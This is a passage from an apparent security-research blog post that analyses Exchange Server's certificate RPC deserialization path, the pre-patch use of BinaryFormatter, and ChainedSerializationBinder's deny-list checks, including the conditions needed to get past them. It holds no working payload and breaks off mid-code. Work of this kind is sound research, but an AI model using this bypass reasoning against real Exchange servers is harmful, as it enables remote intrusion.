ExchangeCertificateRpcVersion.Version2: \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0inputParameters = BuildInputParameters(inputBlob); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0break; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0outputParameters = new Dictionary<RpcOutput, object>(); \n \u00a0\u00a0\u00a0\u00a0if (outputBlob != null) \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0switch (version) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0case ExchangeCertificateRpcVersion.Version1: \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0outputParameters = (Dictionary<RpcOutput, object>)DeserializeObject(outputBlob, customized: false); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0break; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0case ExchangeCertificateRpcVersion.Version2: \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0outputParameters = BuildOutputParameters(outputBlob); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0break; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0} \n }\n \n\nHere we can see that the `byte[] inputBlob` from earlier is passed to `DeserializeObject(inputBlob, customized: false)` in the case that `ExchangeCertificateRpcVersion` parameter passed in is `ExchangeCertificateRpcVersion.Version1`.\n\nOkay so already we know we have one limitation in that we need to set the `version` parameter here to `ExchangeCertificateRpcVersion.Version1` somehow.\n\nKeeping this in mind lets explore further and look at the `Microsoft.Exchange.Management.SystemConfigurationTasks.ExchangeCertificateRpc.DeserializeObject(inputBlob, customized:false)` call implementation.\n \n \n // Microsoft.Exchange.Management.SystemConfigurationTasks.ExchangeCertificateRpc \n using System.IO; \n using Microsoft.Exchange.Data.Serialization; \n using Microsoft.Exchange.Diagnostics; \n \n private object DeserializeObject(byte[] data, bool customized) \n { \n \u00a0\u00a0\u00a0\u00a0if (data != null) \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0using (MemoryStream serializationStream = new MemoryStream(data)) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0bool strictModeStatus = Microsoft.Exchange.Data.Serialization.Serialization.GetStrictModeStatus(DeserializeLocation.ExchangeCertificateRpc); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return ExchangeBinaryFormatterFactory.CreateBinaryFormatter(DeserializeLocation.ExchangeCertificateRpc, strictModeStatus, allowedTypes, allowedGenerics).Deserialize(serializationStream); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0return null; \n }\n \n\nInteresting so we can see that we create a new `MemoryStream` object from our `byte[] data` parameter and use this to create a serialization stream of type `MemoryStream`. We then check using `Microsoft.Exchange.Data.Serialization.Serialization.GetStrictModeStatus` to see if `DeserializeLocation.ExchangeCertificateRpc` requires strict mode for deserialization or not and we set the boolean `strictModeStatus` to this result.\n\nFinally we create a binary formatter using `ExchangeBinaryFormatterFactory.CreateBinaryFormatter(DeserializeLocation.ExchangeCertificateRpc, strictModeStatus, allowedTypes, allowedGenerics)` and then call its `Deserialize()` method on the serialized `MemoryStream` object we created earlier using `byte[] data`.\n\nNote that before the November 2021 patch, this `DeserializeObject` function actually looked like this:\n \n \n // Microsoft.Exchange.Management.SystemConfigurationTasks.ExchangeCertificateRpc \n using System.IO; \n using Microsoft.Exchange.Data.Serialization; \n using Microsoft.Exchange.Diagnostics; \n \n private object DeserializeObject(byte[] data, bool customized) \n { \n \u00a0\u00a0\u00a0\u00a0if (data != null) \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0using (MemoryStream serializationStream = new MemoryStream(data)) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0BinaryFormatter binaryFormatter = new BinaryFormatter();\n \t\t\tif (customized)\n \t\t\t{\n \t\t\t\tbinaryFormatter.Binder = new CustomizedSerializationBinder();\n \t\t\t}\n \t\t\treturn binaryFormatter.Deserialize(memoryStream);\n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0return null; \n }\n \n \n\nAs we can see the earlier code here was using `BinaryFormatter` to deserialize the payload without using a proper `SerializationBinder` or really any protection at all for that matter.\n\n## Looking At DeserializeObject() Deeper\n\nLets look at the November 2022 edition of `Microsoft.Exchange.Management.SystemConfigurationTasks.ExchangeCertificateRpc.DeserializeObject(inputBlob, customized:false)` again:\n \n \n // Microsoft.Exchange.Management.SystemConfigurationTasks.ExchangeCertificateRpc \n using System.IO; \n using Microsoft.Exchange.Data.Serialization; \n using Microsoft.Exchange.Diagnostics; \n \n private object DeserializeObject(byte[] data, bool customized) \n { \n \u00a0\u00a0\u00a0\u00a0if (data != null) \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0using (MemoryStream serializationStream = new MemoryStream(data)) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0bool strictModeStatus = Microsoft.Exchange.Data.Serialization.Serialization.GetStrictModeStatus(DeserializeLocation.ExchangeCertificateRpc); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return ExchangeBinaryFormatterFactory.CreateBinaryFormatter(DeserializeLocation.ExchangeCertificateRpc, strictModeStatus, allowedTypes, allowedGenerics).Deserialize(serializationStream); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0return null; \n }\n \n\nWhat we want to check here now is the `ExchangeBinaryFormatterFactor.CreateBinaryFormatter` call. What does the code for this look like?\n \n \n // Microsoft.Exchange.Diagnostics.ExchangeBinaryFormatterFactory \n using System.Runtime.Serialization.Formatters.Binary; \n \n public static BinaryFormatter CreateBinaryFormatter(DeserializeLocation usageLocation, bool strictMode = false, string[] allowList = null, string[] allowedGenerics = null) \n { \n \u00a0\u00a0\u00a0\u00a0return new BinaryFormatter \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0Binder = new ChainedSerializationBinder(usageLocation, strictMode, allowList, allowedGenerics) \n \u00a0\u00a0\u00a0\u00a0}; \n }\n \n\nAh our good old friend `ChainedSerializationBinder` and `BinaryFormatter`. Looks like we will need to create a `BinaryFormatter` serialized payload and `ChainedSerializationBinder` will be the validator.\n\nAs mentioned in the article to bypass this logic we need to ensure that `strictMode` is set to `False` and that we are not using any fully qualified assembly name in the deny list defined in `Microsoft.Exchange.Diagnostics.ChainedSerializationBinder.GlobalDisallowedTypesForDeserialization`, which will pretty much kill all publicly known .NET deserialization gadgets from ysoserial.NET.\n\nFor reference this is the code for `ChainedSerializationBinder` in November 2021 Update:\n \n \n // Microsoft.Exchange.Diagnostics.ChainedSerializationBinder \n using System; \n using System.Collections.Generic; \n using System.IO; \n using System.Linq; \n using System.Reflection; \n using System.Runtime.Serialization; \n using Microsoft.Exchange.Diagnostics; \n \n public class ChainedSerializationBinder : SerializationBinder \n { \n \u00a0\u00a0\u00a0\u00a0private const string TypeFormat = \"{0}, {1}\"; \n \n \u00a0\u00a0\u00a0\u00a0private static readonly HashSet<string> AlwaysAllowedPrimitives = new HashSet<string> \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0typeof(string).FullName, \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0typeof(int).FullName, \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0typeof(uint).FullName, \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0typeof(long).FullName, \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0typeof(ulong).FullName, \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0typeof(double).FullName, \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0typeof(float).FullName, \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0typeof(bool).FullName, \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0typeof(short).FullName, \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0typeof(ushort).FullName, \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0typeof(byte).FullName, \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0typeof(char).FullName, \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0typeof(DateTime).FullName, \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0typeof(TimeSpan).FullName, \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0typeof(Guid).FullName \n \u00a0\u00a0\u00a0\u00a0}; \n \n \u00a0\u00a0\u00a0\u00a0private bool strictMode; \n \n \u00a0\u00a0\u00a0\u00a0private DeserializeLocation location; \n \n \u00a0\u00a0\u00a0\u00a0private Func<string, Type> typeResolver; \n \n \u00a0\u00a0\u00a0\u00a0private HashSet<string> allowedTypesForDeserialization; \n \n \u00a0\u00a0\u00a0\u00a0private HashSet<string> allowedGenericsForDeserialization; \n \n \u00a0\u00a0\u00a0\u00a0private bool serializationOnly; \n \n \u00a0\u00a0\u00a0\u00a0protected static HashSet<string> GlobalDisallowedTypesForDeserialization { get; private set; } = BuildDisallowedTypesForDeserialization(); \n \n \n \u00a0\u00a0\u00a0\u00a0protected static HashSet<string> GlobalDisallowedGenericsForDeserialization { get; private set; } = BuildGlobalDisallowedGenericsForDeserialization(); \n \n \n \u00a0\u00a0\u00a0\u00a0public ChainedSerializationBinder() \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0serializationOnly = true; \n \u00a0\u00a0\u00a0\u00a0} \n \n \u00a0\u00a0\u00a0\u00a0public ChainedSerializationBinder(DeserializeLocation usageLocation, bool strictMode = false, string[] allowList = null, string[] allowedGenerics = null) \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0this.strictMode = strictMode; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0allowedTypesForDeserialization = ((allowList != null && allowList.Length != 0) ? new HashSet<string>(allowList) : null); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0allowedGenericsForDeserialization = ((allowedGenerics != null && allowedGenerics.Length != 0) ? new HashSet<string>(allowedGenerics) : null); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0typeResolver = typeResolver ?? ((Func<string, Type>)((string s) => Type.GetType(s))); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0location = usageLocation; \n \u00a0\u00a0\u00a0\u00a0} \n \n \u00a0\u00a0\u00a0\u00a0public override void BindToName(Type serializedType, out string assemblyName, out string typeName) \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0string text = null; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0string text2 = null; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0InternalBindToName(serializedType, out assemblyName, out typeName); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if (assemblyName == null && typeName == null) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0assemblyName = text; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0typeName = text2; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0} \n \n \u00a0\u00a0\u00a0\u00a0public override Type BindToType(string assemblyName, string typeName) \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if (serializationOnly) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0throw new InvalidOperationException(\"ChainedSerializationBinder was created for serialization only.\u00a0\u00a0This instance cannot be used for deserialization.\"); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0Type type = InternalBindToType(assemblyName, typeName); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if (type != null) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0ValidateTypeToDeserialize(type); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return type; \n \u00a0\u00a0\u00a0\u00a0} \n \n \u00a0\u00a0\u00a0\u00a0protected virtual Type InternalBindToType(string assemblyName, string typeName) \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return LoadType(assemblyName, typeName); \n \u00a0\u00a0\u00a0\u00a0} \n \n \u00a0\u00a0\u00a0\u00a0protected Type LoadType(string assemblyName, string typeName) \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0Type type = null; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0try \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0type = Type.GetType($\"{typeName}, {assemblyName}\"); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0catch (TypeLoadException) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0catch (FileLoadException) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if (type == null) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0string shortName = assemblyName.Split(',')[0]; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0try \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0type = Type.GetType($\"{typeName}, {shortName}\"); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0catch (TypeLoadException) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0catch (FileLoadException) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if (type == null) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0Assembly[] assemblies = AppDomain.CurrentDomain.GetAssemblies(); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0IEnumerable<Assembly> source = assemblies.Where((Assembly x) => shortName == x.FullName.Split(',')[0]); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0Assembly assembly = (source.Any() ? source.First() : null); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if (assembly != null) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0type = assembly.GetType(typeName); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0else \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0Assembly[] array = assemblies; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0foreach (Assembly assembly2 in array) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0try \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0type = assembly2.GetType(typeName); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if (!(type != null)) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0continue; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return type; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0catch \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return type; \n \u00a0\u00a0\u00a0\u00a0} \n \n \u00a0\u00a0\u00a0\u00a0protected virtual void InternalBindToName(Type serializedType, out string assemblyName, out string typeName) \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0assemblyName = null; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0typeName = null; \n \u00a0\u00a0\u00a0\u00a0} \n \n \u00a0\u00a0\u00a0\u00a0protected void ValidateTypeToDeserialize(Type typeToDeserialize) \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if (typeToDeserialize == null) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0string fullName = typeToDeserialize.FullName; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0bool flag = strictMode; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0try \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if (!strictMode && (allowedTypesForDeserialization == null || !allowedTypesForDeserialization.Contains(fullName)) && GlobalDisallowedTypesForDeserialization.Contains(fullName)) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0flag = true; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0throw new InvalidOperationException($\"Type {fullName} failed deserialization (BlockList).\"); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if (typeToDeserialize.IsConstructedGenericType) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0fullName = typeToDeserialize.GetGenericTypeDefinition().FullName; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if (allowedGenericsForDeserialization == null || !allowedGenericsForDeserialization.Contains(fullName) || GlobalDisallowedGenericsForDeserialization.Contains(fullName)) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0throw new BlockedDeserializeTypeException(fullName, BlockedDeserializeTypeException.BlockReason.NotInAllow, location); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0else if (!AlwaysAllowedPrimitives.Contains(fullName) && (allowedTypesForDeserialization == null || !allowedTypesForDeserialization.Contains(fullName) || GlobalDisallowedTypesForDeserialization.Contains(fullName)) && !typeToDeserialize.IsArray && !typeToDeserialize.IsEnum && !typeToDeserialize.IsAbstract && !typeToDeserialize.IsInterface) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0throw new BlockedDeserializeTypeException(fullName, BlockedDeserializeTypeException.BlockReason.NotInAllow, location); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n 